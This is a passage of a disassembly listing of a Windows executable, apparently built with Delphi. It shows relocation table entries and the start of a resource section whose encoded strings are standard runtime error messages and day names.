		dd 38D438D0h, 38DC38D8h, 38E438E0h, 390838FCh, 3928390Ch
		dd 39343930h, 393C3938h, 39443940h, 394C3948h, 39A83950h
		dd 3E3D3E2Dh, 3E553E48h, 3E643E5Ah, 3E7F3E74h, 3E913E8Ch
		dd 3F763F62h, 3F993F82h, 3FF33FA5h, 8000h, 70h,	301A3004h
		dd 32D230BAh, 32F232E7h, 34653461h, 346D3469h, 34753471h
		dd 347D3479h, 34853481h, 348D3489h, 34953491h, 349D3499h
		dd 34A534A1h, 35783571h, 37E1363Ah, 3815380Dh, 3825381Dh
		dd 3892382Dh, 38DC38C1h, 38E438E0h, 38EC38E8h, 3B663A29h
		dd 3C863B7Bh, 3D273D15h, 3F113DCFh, 3F353F2Bh, 3F9Bh, 9000h
		dd 88h,	321B3077h, 3432334Bh, 34B93468h, 355E34EAh, 35E335A8h
		dd 367135F2h, 371636C3h, 378C3785h, 37CD37C9h, 37D537D1h
		dd 37DD37D9h, 37E537E1h, 37ED37E9h, 37F537F1h, 37FD37F9h
		dd 38053801h, 390838EEh, 398D3966h, 39B539A1h, 3A2539E6h
		dd 3A4F3A3Ah, 3B503B3Ch, 3BD73B9Bh, 3C333C13h, 3C5B3C44h
		dd 3CA13C8Eh, 3D093CD4h, 3D4C3D38h, 3D6D3D5Dh, 3D8C3D80h
		dd 3E1A3DACh, 3F8E3E90h, 0A000h, 0B0h, 30E9302Dh, 3133312Eh
		dd 31EE3178h, 3221320Fh, 32653260h, 32973273h, 337C32C7h
		dd 33E03398h, 340333F6h, 341A3408h, 347E3466h, 34A83490h
		dd 352F34D4h, 35583541h, 35BF356Ah, 361B35EDh, 365E364Ch
		dd 36873675h, 392E37ECh, 394B3946h, 397A3957h, 39AC39A7h
		dd 39EB39C6h, 3A573A1Dh, 3A873A61h, 3AC23AA3h, 3AFE3AD4h
		dd 3B433B12h, 3B6C3B52h, 3BB93B7Eh, 3C013BD9h, 3CA13C6Ch
		dd 3CCA3CBAh, 3CF23CE3h, 3D273D0Bh, 3E373D62h, 3E7C3E77h
		dd 3EAE3E84h, 3EC83EBFh, 3F873F7Dh, 3FEC3FD1h, 3FF5h, 0B000h
		dd 0FCh, 30B9308Ah, 31823148h, 32273210h, 32573249h, 3276325Eh
		dd 3290327Dh, 32C732A8h, 32DB32CFh, 3339331Bh, 33733364h
		dd 33DA3387h, 348033E1h, 34CE34B4h, 359934DDh, 35F535ABh
		dd 361B3607h, 36913667h, 36D536C6h, 370036E4h, 3735372Eh
		dd 3745373Fh, 3756374Ch, 3761375Bh, 376C3766h
		dd 37773771h, 3784377Eh, 378F3789h, 379A3794h, 37A737A1h
		dd 37BA37B2h, 37CF37C3h, 37DD37D5h, 37F237E6h, 380037F7h
		dd 38123809h, 3824381Bh, 3855384Ch, 3864385Eh, 38803875h
		dd 38BD3885h, 390438DBh, 393C391Eh, 39BB399Eh, 3A463A13h
		dd 3B203A9Eh, 3B953B65h, 3BCB3BA7h, 3D793BDDh, 3DEA3DAAh
		dd 3DFD3DEFh, 3E783E06h, 3EB73E8Eh, 3EE03EC5h, 3F043EE9h
		dd 3F2A3F17h, 3F4E3F33h, 3F6A3F61h, 3F973F89h, 3FCE3FB6h
		dd 3FEB3FD7h, 3FF9h, 0C000h, 1D4h, 302B300Dh, 305C304Dh
		dd 308D306Ah, 30BE30AFh, 30D630CEh, 30F330EBh, 311D3110h
		dd 320C31DCh, 32393225h, 32813277h, 332632FEh, 3376334Eh
		dd 340A33EDh, 345F342Eh, 34753466h, 349A347Ch, 34DA34B7h
		dd 34F534EAh, 350334FBh, 36E83508h, 39883984h, 3990398Ch
		dd 39983994h, 39A0399Ch, 39A839A4h, 39B039ACh, 39B839B4h
		dd 39C039BCh, 39C839C4h, 39D039CCh, 39D839D4h, 39E039DCh
		dd 39E839E4h, 39F039ECh, 39F839F4h, 3A0039FCh, 3A083A04h
		dd 3A103A0Ch, 3A183A14h, 3A203A1Ch, 3A283A24h, 3A303A2Ch
		dd 3A383A34h, 3A403A3Ch, 3A483A44h, 3A503A4Ch, 3A583A54h
		dd 3A603A5Ch, 3A683A64h, 3A743A70h, 3A803A7Ch, 3A8C3A88h
		dd 3A983A94h, 3AA43AA0h, 3AB03AACh, 3ABC3AB8h, 3AC83AC4h
		dd 3AD43AD0h, 3AE03ADCh, 3AEC3AE8h, 3AF83AF4h, 3B043B00h
		dd 3B103B0Ch, 3B1C3B18h, 3B283B24h, 3B343B30h, 3B403B3Ch
		dd 3B4C3B48h, 3B583B54h, 3B643B60h, 3B703B6Ch, 3B7C3B78h
		dd 3B883B84h, 3B943B90h, 3BA03B9Ch, 3BAC3BA8h, 3BB83BB4h
		dd 3BC43BC0h, 3BD03BCCh, 3BDC3BD8h, 3BE83BE4h, 3BF43BF0h
		dd 3C003BFCh, 3C0C3C08h, 3C183C14h, 3C243C20h, 3C303C2Ch
		dd 3C3C3C38h, 3C483C44h, 3C633C57h, 3C783C6Eh, 3C963C8Ch
		dd 3CAA3CA0h, 3CBE3CB4h, 3CD23CC8h, 3CE63CDCh, 3CFB3CF0h
		dd 3D103D05h, 3D253D1Ah, 3D3A3D2Fh, 3D4F3D44h, 3D5F3D59h
		dd 3D6F3D69h, 3D833D79h, 3D983D8Eh, 3DAD3DA3h, 3DCA3DB8h
		dd 3DE23DDAh, 3DF23DEAh, 3E8C3E56h, 3EC23E99h, 3F053EF8h
		dd 3F643F2Eh, 3F9A3F71h, 3FDD3FD0h, 0D000h, 254h, 303C3006h
		dd 30783049h, 30C830AEh, 313B30FDh, 31AD316Dh, 322331E1h
		dd 324A3242h, 325A3252h, 329F3291h, 32AF32A4h, 32BA32B5h
		dd 32CB32C5h, 32DB32D0h, 32E632E1h, 32F732F1h, 330732FCh
		dd 3312330Dh, 3323331Dh, 33333328h, 333E3339h, 334F3349h
		dd 335F3354h, 336A3365h, 337B3375h, 338B3380h, 33963391h
		dd 33A733A1h, 33B733ACh, 33C233BDh, 33D333CDh, 33E333D8h
		dd 33EE33E9h, 33FF33F9h, 340F3404h, 341A3415h, 342B3425h
		dd 343B3430h, 34463441h, 34573451h, 3467345Ch, 3472346Dh
		dd 359F347Dh, 35B835ABh, 35EE35EAh, 360A35F2h, 361C3618h
		dd 36403638h, 36483644h, 3650364Ch, 36583654h, 3660365Ch
		dd 36683664h, 3670366Ch, 36783674h, 3680367Ch, 36883684h
		dd 3690368Ch, 36983694h, 36B4369Ch, 36D036CCh, 370436E4h
		dd 3710370Ch, 37183714h, 3720371Ch, 37283724h, 3748372Ch
		dd 37703768h, 37783774h, 3780377Ch, 37883784h, 3790378Ch
		dd 37CC37ACh, 37D837D4h, 37E037DCh, 37E837E4h, 37F037ECh
		dd 381037F4h, 38383830h, 3840383Ch, 38483844h, 3850384Ch
		dd 38583854h, 38943874h, 38A0389Ch, 38A838A4h, 38B038ACh
		dd 38B838B4h, 38D838BCh, 390038F8h, 39083904h, 3910390Ch
		dd 39183914h, 3920391Ch, 395C393Ch, 39683964h, 3970396Ch
		dd 39783974h, 3980397Ch, 39A43984h, 39CC39C4h, 39D439D0h
		dd 39DC39D8h, 39E439E0h, 39EC39E8h, 3A2C3A0Ch, 3A383A34h
		dd 3A403A3Ch, 3A483A44h, 3A503A4Ch, 3A703A54h, 3A983A90h
		dd 3AA03A9Ch, 3AA83AA4h, 3AB03AACh, 3AB83AB4h, 3AF83AD8h
		dd 3B043B00h, 3B0C3B08h, 3B143B10h, 3B1C3B18h, 3B3C3B20h
		dd 3B643B5Ch, 3B6C3B68h, 3B743B70h, 3B7C3B78h, 3B843B80h
		dd 3BB73BA9h, 3BDD3BC6h, 3C4B3C0Fh, 3C713C5Ah, 3CA73C99h
		dd 3CCD3CB6h, 3D3B3CFFh, 3D613D4Ah, 3D973D89h, 3DBD3DA6h
		dd 3E713DEAh, 3EA13E80h, 3EC73EB0h, 3EED3ED6h, 3F133EFCh
		dd 3F393F22h, 3F5F3F48h, 3F823F6Eh, 3FA23F91h, 3FE33FD4h
		dd 3FFAh, 0E000h, 0B4h,	309A3075h, 30F530BEh, 31123103h
		dd 33983129h, 36C136B3h, 37793760h, 37BC3793h, 380837E1h
		dd 3854382Dh, 38A03879h, 391238C5h, 3A0D393Eh, 3A153A11h
		dd 3A1D3A19h, 3A253A21h, 3A2D3A29h, 3A353A31h, 3A3D3A39h
		dd 3A453A41h, 3A4D3A49h, 3A553A51h, 3A5D3A59h, 3A6D3A61h
		dd 3C2C3C08h, 3CC83C86h, 3D173CFEh, 3DA03D2Fh, 3DC33DBFh
		dd 3DCB3DC7h, 3DD33DCFh, 3DDB3DD7h, 3DE33DDFh, 3DEB3DE7h
		dd 3DF33DEFh, 3DFB3DF7h, 3E033DFFh, 3E0B3E07h, 3E133E0Fh
		dd 3EA83E23h, 3FE73FE3h, 3FEF3FEBh, 3FF73FF3h, 3FFF3FFBh
		dd 0F000h, 124h, 30073003h, 300F300Bh, 30173013h, 301F301Bh
		dd 30273023h, 302F302Bh, 30373033h, 320C30ACh, 32C0323Ah
		dd 335832EEh, 3375335Fh, 337D3379h, 33853381h, 338D3389h
		dd 33DA339Ah, 3453344Ch, 346E346Ah, 34763472h, 347E347Ah
		dd 34BF3488h, 3533352Ch, 354F354Bh, 35573553h, 355F355Bh
		dd 35703563h, 361C35AFh, 36BD3646h, 372736FFh, 37BE3781h
		dd 37F237D7h, 388F3870h, 38973893h, 389F389Bh, 38A738A3h
		dd 38AF38ABh, 38B738B3h, 38BF38BBh, 38C738C3h, 38CF38CBh
		dd 38D738D3h, 38DF38DBh, 38FC38E3h, 3AB3397Ch, 3ABB3AB7h
		dd 3AC33ABFh, 3ACB3AC7h, 3AD33ACFh, 3ADB3AD7h, 3AE33ADFh
		dd 3AEB3AE7h, 3AF33AEFh, 3AFB3AF7h, 3B033AFFh, 3B6E3B07h
		dd 3CD83CB4h, 3D843D41h, 3DD73DBEh, 3E6E3DEFh, 3E763E72h
		dd 3E7E3E7Ah, 3E863E82h, 3E8E3E8Ah, 3E963E92h, 3E9E3E9Ah
		dd 3EA63EA2h, 3EAE3EAAh, 3EB63EB2h, 3EBE3EBAh, 3ED13EC2h
		dd 3F243F0Eh, 3F503F3Ah, 10000h, 154h, 30383034h, 3040303Ch
		dd 30483044h, 3050304Ch, 30583054h, 3060305Ch, 30683064h
		dd 3070306Ch, 30783074h, 3080307Ch, 30883084h, 30CA30B2h
		dd 30FA30E2h, 31E531C1h, 3290324Ch, 32EB32D2h, 33843304h
		dd 338C3388h, 33943390h, 339C3398h, 33A433A0h, 33AC33A8h
		dd 33B433B0h, 33BC33B8h, 33C433C0h, 33CC33C8h, 33D433D0h
		dd 33EC33D8h, 35603449h, 35683564h, 3570356Ch, 35783574h
		dd 3580357Ch, 35883584h, 3590358Ch, 35983594h, 35A0359Ch
		dd 35A835A4h, 35B035ACh, 35FD35B4h, 37063702h, 370E370Ah
		dd 37163712h, 371E371Ah, 37263722h, 372E372Ah, 37363732h
		dd 373E373Ah, 37463742h, 374E374Ah, 37563752h, 38293766h
		dd 38B0388Ch, 39963936h, 3A2239E0h, 3A543A3Bh, 3AD83AD4h
		dd 3AE03ADCh, 3AE83AE4h, 3AF03AECh, 3AF83AF4h, 3B003AFCh
		dd 3B083B04h, 3B103B0Ch, 3B183B14h, 3B203B1Ch, 3B283B24h
		dd 3C9E3B3Ch, 3CA63CA2h, 3CAE3CAAh, 3CB63CB2h, 3CBE3CBAh
		dd 3CC63CC2h, 3CCE3CCAh, 3CD63CD2h, 3CDE3CDAh, 3CE63CE2h
		dd 3CEE3CEAh, 3E213CF2h, 3EA33E45h, 3F483EFEh, 3FA33F8Ah
		dd 3FBCh, 11000h, 148h,	3040303Ch, 30483044h, 3050304Ch
		dd 30583054h
		dd 3060305Ch, 30683064h, 3070306Ch, 30783074h, 3080307Ch
		dd 30883084h, 3090308Ch, 30CB30A4h, 313A30DDh, 31703155h
		dd 31AB318Bh, 32443240h, 324C3248h, 32543250h, 325C3258h
		dd 32643260h, 326C3268h, 32743270h, 327C3278h, 32843280h
		dd 328C3288h, 32943290h, 32B3329Fh, 33313314h, 336B334Eh
		dd 3408338Ah, 346F3440h, 34A2348Ah, 353C3502h, 356C3553h
		dd 35D135B4h, 36223609h, 368C3639h, 36F636BCh, 37163712h
		dd 371E371Ah, 37263722h, 372E372Ah, 37363732h, 373E373Ah
		dd 37463742h, 374E374Ah, 37563752h, 375E375Ah, 37663762h
		dd 37903778h, 399E399Ah, 39A639A2h, 39AE39AAh, 39B639B2h
		dd 39BE39BAh, 39C639C2h, 39CE39CAh, 39D639D2h, 39DE39DAh
		dd 39E639E2h, 39EE39EAh, 3C2D3BC2h, 3C5D3C44h, 3CB53C98h
		dd 3D023CE9h, 3D543D19h, 3DC23D7Fh, 3E153DDFh, 3E353E31h
		dd 3E3D3E39h, 3E453E41h, 3E4D3E49h, 3E553E51h, 3E5D3E59h
		dd 3E653E61h, 3E6D3E69h, 3E753E71h, 3E7D3E79h, 3E853E81h
		dd 3EAF3E97h, 12000h, 0CCh, 30B030ACh, 30B830B4h, 30C030BCh
		dd 30C830C4h, 30D030CCh, 30D830D4h, 30E030DCh, 30E830E4h
		dd 30F030ECh, 30F830F4h, 310030FCh, 336932D4h, 33AD3382h
		dd 34613407h, 350E34BFh, 39773958h, 39A7398Fh, 3A2D3A16h
		dd 3A523A40h, 3AE53AD0h, 3AFF3AFAh, 3B2C3B0Ch, 3B4B3B46h
		dd 3C7E3C1Ch, 3CA63C8Bh, 3CC03CACh, 3DA53CC5h, 3DD73DCAh
		dd 3E033DE2h, 3E313E19h, 3E5B3E36h, 3E733E67h, 3E873E7Dh
		dd 3E9C3E91h, 3EAC3EA6h, 3ECC3EBEh, 3EDC3ED4h, 3EEC3EE4h
		dd 3EFC3EF4h, 3F3F3F04h, 3F523F4Bh, 3F673F5Dh, 3F883F79h
		dd 3FB03FA8h, 3FB83FB4h, 3FC03FBCh, 3FC83FC4h, 3FD03FCCh
		dd 3FE0h, 13000h, 158h,	30083000h, 3010300Ch, 30183014h
		dd 3020301Ch, 30283024h, 30603040h, 306C3068h, 30743070h
		dd 307C3078h, 30843080h, 308C3088h, 30943090h, 30A43098h
		dd 30CC30C4h, 30D430D0h, 30DC30D8h, 30E430E0h, 30EC30E8h
		dd 310C30FCh, 311C3118h, 31283124h, 3130312Ch, 31383134h
		dd 3140313Ch, 31483144h, 3150314Ch, 315E315Ah, 31813170h
		dd 31983185h, 31BC31B4h, 31E431DCh, 31EC31E8h, 31F431F0h
		dd 31FC31F8h, 32043200h, 32343214h, 3240323Ch, 32483244h
		dd 3250324Ch, 32583254h, 3292325Ch, 340A33F3h, 35173411h
		dd 35313524h, 35483543h, 357C355Ch, 35883584h, 3590358Ch
		dd 35983594h, 35A0359Ch, 35FC35A4h, 371A3608h, 37B73794h
		dd 37E337D1h, 38AD380Dh, 397338EAh, 39EA39BDh, 3A6F3A32h
		dd 3ACE3A8Bh, 3B6C3AEEh, 3BDF3B9Bh, 3BFD3BE6h, 3C9D3C49h
		dd 3CF53CB8h, 3D103D01h, 3D753D70h, 3DA43D9Ch, 3DF83DB3h
		dd 3E153DFDh, 3E2F3E1Fh, 3E493E35h, 3E673E53h, 3EA63E76h
		dd 3EBD3EABh, 3EE73EDBh, 3EF83EEEh, 3F2A3F10h, 3F3E3F34h
		dd 3F573F48h, 3F733F61h, 3FAB3F84h, 3FBE3FB7h, 3FDB3FC9h
		dd 3FECh, 14000h, 0A8h,	3014300Ch, 301C3018h, 30243020h
		dd 302C3028h, 30343030h, 3058304Ch, 3074306Ch, 307C3078h
		dd 30843080h, 308C3088h, 30943090h, 30C730A2h, 326830CEh
		dd 3348331Eh, 34073389h, 34D73472h, 36963501h, 36F7369Dh
		dd 374736FEh, 375A3753h, 37773765h, 37A03788h, 37D837BCh
		dd 37E437DCh, 37EC37E8h, 37F437F0h, 37FC37F8h, 38043800h
		dd 3824380Ch, 38443840h, 3850384Ch, 38583854h, 3860385Ch
		dd 38683864h, 3874386Ch, 3D7F3D6Fh, 3F533F43h, 3F703F69h
		dd 3FC73FA9h, 3FD4h, 15000h, 120h, 305C3052h, 30923083h
		dd 30FB30CBh, 31763171h, 31E63196h, 321131F3h, 324C3247h
		dd 3297328Ah, 3334332Fh, 3369335Ch, 33B4338Ch, 33E933C1h
		dd 341533EEh, 34393422h, 34983486h, 34B334A4h, 354034C4h
		dd 3563355Ch, 36B635F0h, 379B3769h, 37E237ABh, 382337FDh
		dd 38613828h, 38C738B5h, 390038F3h, 392D390Fh, 397B396Eh
		dd 398F398Ah, 39B139A5h, 39D939C1h, 3A0A39EDh, 3A523A3Eh
		dd 3AFC3ADCh, 3B083B04h, 3B103B0Ch, 3B183B14h, 3B203B1Ch
		dd 3BD63B24h, 3C3B3BF4h, 3C523C47h, 3C663C5Ch, 3C7F3C75h
		dd 3C933C89h, 3CA73C9Dh, 3CBC3CB2h, 3CD13CC6h, 3CE63CDBh
		dd 3D083CF8h, 3D183D10h, 3D283D20h, 3D503D48h, 3D583D54h
		dd 3D603D5Ch, 3D683D64h, 3D703D6Ch, 3DA03D80h, 3DAC3DA8h
		dd 3DB43DB0h, 3DBC3DB8h, 3DC43DC0h, 3DDC3DC8h, 3DFC3DE8h
		dd 3E083E04h, 3E103E0Ch, 3E183E14h, 3E203E1Ch, 3E323E24h
		dd 3F0F3E3Ah, 3F793F3Fh, 3FD6h,	16000h,	0E0h, 305B301Dh
		dd 308E307Eh, 309E3099h, 30AE30A9h, 30BE30B9h, 30CE30C9h
		dd 30DE30D9h, 319730E9h, 32493232h, 32A63299h, 32CE32B9h
		dd 352332D5h, 3598356Ah, 35D735A1h, 369E35DEh, 36D936D2h
		dd 370B3704h, 37E2379Ah, 380A37F7h, 392B3837h, 39893985h
		dd 3991398Dh, 39993995h, 39A1399Dh, 39A939A5h, 39B139ADh
		dd 39B939B5h, 39C139BDh, 39C939C5h, 3A3F3A36h, 3A4E3A45h
		dd 3A5F3A56h, 3A713A6Ch, 3A853A7Ch, 3AAB3A94h, 3AC33AB7h
		dd 3AD13ACBh, 3AE43ADBh, 3AF73AEDh, 3B0F3B04h, 3B323B21h
		dd 3BE43B5Ch, 3CB83C21h, 3D003CE2h, 3D603D38h, 3D743D6Ch
		dd 3DB93DA0h, 3DFF3DD5h, 3E3F3E18h, 3E863E5Fh, 3EE53EB0h
		dd 3F3C3F26h, 3F9E3F90h, 3FACh,	17000h,	104h, 30063001h
		dd 3031302Ch, 306A305Dh, 30DE30C2h, 30EE30E4h, 30FC30F5h
		dd 314A310Bh, 3176315Ah, 31EC3196h, 323331F7h, 33923343h
		dd 340F33DBh, 34253417h, 34603442h, 347E3476h, 349C3494h
		dd 34BA34B2h, 34D834D0h, 34F634EEh, 3514350Ch, 3532352Ah
		dd 35503548h, 356E3566h, 358C3584h, 35AA35A2h, 35C835C0h
		dd 35E635DEh, 360435FCh, 3622361Ah, 36403638h, 365E3656h
		dd 367C3674h, 36993692h, 395536A6h, 39A2398Ch, 3A843A4Eh
		dd 3BF03AAEh, 3C573C17h, 3C953C77h, 3CCE3CB1h, 3D123CEFh
		dd 3D293D1Ch, 3DA53D4Dh, 3DDA3DCBh, 3E063DEDh, 3E493E1Fh
		dd 3E773E5Fh, 3EAF3E8Fh, 3ECB3EC2h, 3EDD3ED4h, 3EF33EE6h
		dd 3F283F23h, 3F3C3F38h, 3F443F40h, 3F4C3F48h, 3F543F50h
		dd 3F5C3F58h, 3F673F60h, 3F833F75h, 3F9F3F91h, 3FBB3FADh
		dd 3FD73FC9h, 3FE5h, 18000h, 48h, 32C232B7h, 32D632CCh
		dd 32EA32E0h, 331032FCh, 3320331Ch, 3330332Ch, 3370336Ch
		dd 33783374h, 3380337Ch, 3390338Ch, 33983394h, 33A0339Ch
		dd 33A833A4h, 33B833B4h, 33D033CCh, 33E8h, 19000h, 218h
		dd 30143002h, 301F301Bh, 30293025h, 3036302Fh, 3054303Ah
		dd 3066305Dh, 307C3072h, 30903086h, 30A4309Ah, 30BF30B3h
		dd 30D130C7h, 30E430DCh, 30F830E9h, 31363119h, 3157314Bh
		dd 3169315Fh, 3173316Eh, 317D3178h, 31883183h, 3193318Dh
		dd 31A0319Ah, 31AD31A7h, 31BA31B4h, 31C731C1h, 31E031CEh
		dd 31FF31F2h, 3218320Bh, 32373224h, 324D3243h, 325E3254h
		dd 326F3265h, 328E327Ch, 329E3296h, 32B932AFh, 32D632CAh
		dd 32F332E2h, 330D3303h, 33223318h, 3337332Dh, 3348333Eh
		dd 3359334Fh, 336A3360h, 3374336Fh, 33833379h
		dd 338D3388h, 33A7339Ah, 33B433ADh, 33BF33BAh, 33CC33C5h
		dd 33DD33D6h, 33E833E2h, 34113404h, 34333429h, 34473438h
		dd 3458344Ch, 3480347Bh, 348A3485h, 34A53499h, 34D234BFh
		dd 34F134E4h, 35203506h, 35453533h, 356F3552h, 358D3585h
		dd 35973592h, 35AF35A9h, 35C135BAh, 35D735CBh, 35E835DDh
		dd 35F435EEh, 360235FAh, 3614360Fh, 3631361Eh, 363B3636h
		dd 36473642h, 366A364Ch, 368A3674h, 36963690h, 36A1369Ch
		dd 36AC36A7h, 36C936B6h, 36D536CFh, 36E036DBh, 36EB36E6h
		dd 36FC36F7h, 37143708h, 372D371Ah, 37383732h, 374A3740h
		dd 375E374Fh, 376F3769h, 377B3775h, 37863780h, 3798378Bh
		dd 37B037A5h, 37D737B8h, 37EA37E2h, 380237FDh, 380D3807h
		dd 381F3815h, 382F3824h, 38403835h, 384F3845h, 3866385Eh
		dd 388D387Ah, 38993893h, 38A4389Fh, 38AF38AAh, 38C338BAh
		dd 38CE38C9h, 38E438DEh, 38F238ECh, 390838FCh, 3919390Eh
		dd 3938391Eh, 394E393Dh, 3969395Dh, 3979396Eh, 39983993h
		dd 39B139A9h, 39C839C3h, 39D839D3h, 39F639E7h, 3A0139FBh
		dd 3A133A09h, 3A273A1Ah, 3A3C3A2Ch, 3A4D3A47h, 3A613A52h
		dd 3A7F3A74h, 3A973A8Ah, 3AC13AADh, 1A000h, 218h, 30603040h
		dd 30A03080h, 30E030C0h, 31203100h, 37243140h, 372C3728h
		dd 37343730h, 384C3738h, 38583854h, 3860385Ch, 38883884h
		dd 3890388Ch, 38983894h, 38A0389Ch, 38A838A4h, 38B038ACh
		dd 38B838B4h, 38C038BCh, 38C838C4h, 38D038CCh, 38D838D4h
		dd 38E038DCh, 38E838E4h, 38F038ECh, 38F838F4h, 390038FCh
		dd 39083904h, 3910390Ch, 39183914h, 395C3954h, 396C3964h
		dd 397C3974h, 398C3984h, 399C3994h, 39AC39A4h, 39BC39B4h
		dd 39CC39C4h, 39DC39D4h, 39EC39E4h, 39FC39F4h, 3A243A20h
		dd 3A2C3A28h, 3A343A30h, 3A3C3A38h, 3A443A40h, 3A4C3A48h
		dd 3A543A50h, 3A5C3A58h, 3A643A60h, 3A6C3A68h, 3A883A70h
		dd 3A903A8Ch, 3A9C3A98h, 3AA43AA0h, 3AE43ADCh, 3AF43AECh
		dd 3B043AFCh, 3B143B0Ch, 3B243B1Ch, 3B343B2Ch, 3B443B3Ch
		dd 3B543B4Ch, 3B643B5Ch, 3B743B6Ch, 3B843B7Ch, 3B943B8Ch
		dd 3BA43B9Ch, 3BB43BACh, 3BC43BBCh, 3BD43BCCh, 3BE43BDCh
		dd 3BF43BECh, 3C043BFCh, 3C143C0Ch, 3C243C1Ch, 3C343C2Ch
		dd 3C443C3Ch, 3C543C4Ch, 3C643C5Ch, 3C743C6Ch, 3C843C7Ch
		dd 3C943C8Ch, 3CA43C9Ch, 3CB43CACh, 3CC43CBCh, 3CD43CCCh
		dd 3CE43CDCh, 3CF43CECh, 3D043CFCh, 3DAC3DA8h, 3DB43DB0h
		dd 3EBC3EB8h, 3EC43EC0h, 3ECC3EC8h, 3ED43ED0h, 3EDC3ED8h
		dd 3EE43EE0h, 3EEC3EE8h, 3EF43EF0h, 3EFC3EF8h, 3F043F00h
		dd 3F0C3F08h, 3F143F10h, 3F1C3F18h, 3F243F20h, 3F2C3F28h
		dd 3F343F30h, 3F3C3F38h, 3F443F40h, 3F4C3F48h, 3F543F50h
		dd 3F5C3F58h, 3F643F60h, 3F6C3F68h, 3F743F70h, 3F7C3F78h
		dd 3F843F80h, 3F8C3F88h, 3F943F90h, 3F9C3F98h, 3FA43FA0h
		dd 3FAC3FA8h, 3FB43FB0h, 3FBC3FB8h, 3FC43FC0h, 3FCC3FC8h
		dd 3FD43FD0h, 3FDC3FD8h, 3FE43FE0h, 3FEC3FE8h, 3FF43FF0h
		dd 3FFC3FF8h, 1B000h, 74h, 30043000h, 300C3008h, 30143010h
		dd 301C3018h, 30243020h, 302C3028h, 30343030h, 303C3038h
		dd 30443040h, 304C3048h, 30543050h, 305C3058h, 30643060h
		dd 306C3068h, 30743070h, 307C3078h, 30843080h, 308C3088h
		dd 30943090h, 309C3098h, 30A430A0h, 30AC30A8h, 30B430B0h
		dd 30BC30B8h, 30C430C0h, 30CC30C8h, 30D430D0h, 27000h
		dd 10h,	30043000h, 300C3008h
_reloc		ends

; Section 9. (virtual address 0002A000)
; Virtual size			: 00034C00 ( 216064.)
; Section size in file		: 00034C00 ( 216064.)
; Offset to raw	data for section: 0002A000
; Flags	E0000060: Text Data Executable Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_rsrc		segment	para public 'CODE' use32
		assume cs:_rsrc
		;org 4002A000h
		assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
		dd 2 dup(0)
		dd 4, 20000h, 6, 80000020h, 0Ah, 80000068h, 2 dup(0)
		dd 4, 70000h, 0FFAh, 80000098h,	0FFBh, 800000B0h, 0FFCh
		dd 800000C8h, 0FFDh, 800000E0h,	0FFEh, 800000F8h, 0FFFh
		dd 80000110h, 1000h, 80000128h,	2 dup(0)
		dd 2 dup(4), 80000250h,	80000140h, 8000025Eh, 80000158h
		dd 80000276h, 80000170h, 8000027Eh, 80000188h, 2 dup(0)
		dd 4, 10000h, 0
		dd 1A0h, 2 dup(0)
		dd 4, 10000h, 0
		dd 1B0h, 2 dup(0)
		dd 4, 10000h, 0
		dd 1C0h, 2 dup(0)
		dd 4, 10000h, 0
		dd 1D0h, 2 dup(0)
		dd 4, 10000h, 0
		dd 1E0h, 2 dup(0)
		dd 4, 10000h, 0
		dd 1F0h, 2 dup(0)
		dd 4, 10000h, 0
		dd 200h, 2 dup(0)
		dd 4, 10000h, 0
		dd 210h, 2 dup(0)
		dd 4, 10000h, 0
		dd 220h, 2 dup(0)
		dd 4, 10000h, 0
		dd 230h, 2 dup(0)
		dd 4, 10000h, 0
		dd 240h, 2A288h, 20Ch, 4E4h, 0
		dd 2A494h, 1FCh, 4E4h, 0
		db 90h
		db 0A6h, 2, 0
		align 8
		dd 4E4h, 0
		dd 2A75Ch, 178h, 4E4h, 0
		dd 2A8D4h, 394h, 4E4h, 0
		dd 2AC68h, 35Ch, 4E4h, 0
		dd 2AFC4h, 280h, 4E4h, 0
		dd 2B244h, 10h,	4E4h, 0
		dd 2B254h, 124h, 4E4h, 0
		dd 2B378h, 27511h, 4E4h, 0
		dd 5288Ch, 4200h, 4E4h,	0
		dd 440006h, 430056h, 41004Ch, 0B004Ch, 410050h,	4B0043h
		dd 470041h, 490045h, 46004Eh, 3004Fh, 460052h, 30057h
		dd 540053h, 52h, 46001Bh, 690061h, 65006Ch, 200064h, 6F0074h
		dd 670020h, 740065h, 640020h, 740061h, 200061h,	6F0066h
		dd 200072h, 250027h, 270073h, 46001Bh, 690061h,	65006Ch
		dd 200064h, 6F0074h, 730020h, 740065h, 640020h,	740061h
		dd 200061h, 6F0066h, 200072h, 250027h, 270073h,	43001Dh
		dd 6E0061h, 610076h, 200073h, 6F0064h, 730065h,	6E0020h
		dd 74006Fh, 610020h, 6C006Ch, 77006Fh, 640020h,	610072h
		dd 690077h, 67006Eh, 4F000Eh, 45004Ch, 650020h,	720072h
		dd 72006Fh, 250020h, 38002Eh, 2E0078h, 65004Dh,	680074h
		dd 64006Fh, 270020h, 730025h, 200027h, 6F006Eh,	200074h
		dd 750073h, 700070h, 72006Fh, 650074h, 200064h,	790062h
		dd 610020h, 740075h, 6D006Fh, 740061h, 6F0069h,	20006Eh
		dd 62006Fh, 65006Ah, 740063h, 56002Fh, 720061h,	610069h
		dd 74006Eh, 640020h, 65006Fh, 200073h, 6F006Eh,	200074h
		dd 650072h, 650066h, 650072h, 63006Eh, 200065h,	6E0061h
		dd 610020h, 740075h, 6D006Fh, 740061h, 6F0069h,	20006Eh
		dd 62006Fh, 65006Ah, 740063h, 440037h, 730069h,	610070h
		dd 630074h, 200068h, 65006Dh, 680074h, 64006Fh,	200073h
		dd 6F0064h, 6E0020h, 74006Fh, 730020h, 700075h,	6F0070h
		dd 740072h, 6D0020h, 72006Fh, 200065h, 680074h,	6E0061h
		dd 360020h, 200034h, 610070h, 610072h, 65006Dh,	650074h
		dd 730072h, 5 dup(0)
		dd 540003h, 750068h, 460003h, 690072h, 530003h,	740061h
		dd 530006h, 6E0075h, 610064h, 60079h, 6F004Dh, 64006Eh
		dd 790061h, 540007h, 650075h, 640073h, 790061h,	570009h
		dd 640065h, 65006Eh, 640073h, 790061h, 540008h,	750068h
		dd 730072h, 610064h, 60079h, 720046h, 640069h, 790061h
		dd 530008h, 740061h, 720075h, 610064h, 1A0079h,	610043h
		dd 6E006Eh, 74006Fh, 610020h, 730073h, 670069h,	20006Eh
		dd 200061h, 730025h, 740020h, 20006Fh, 200061h,	730025h
		dd 4C0025h, 730069h, 200074h, 6F0064h, 730065h,	6E0020h
		dd 74006Fh, 610020h, 6C006Ch, 77006Fh, 640020h,	700075h
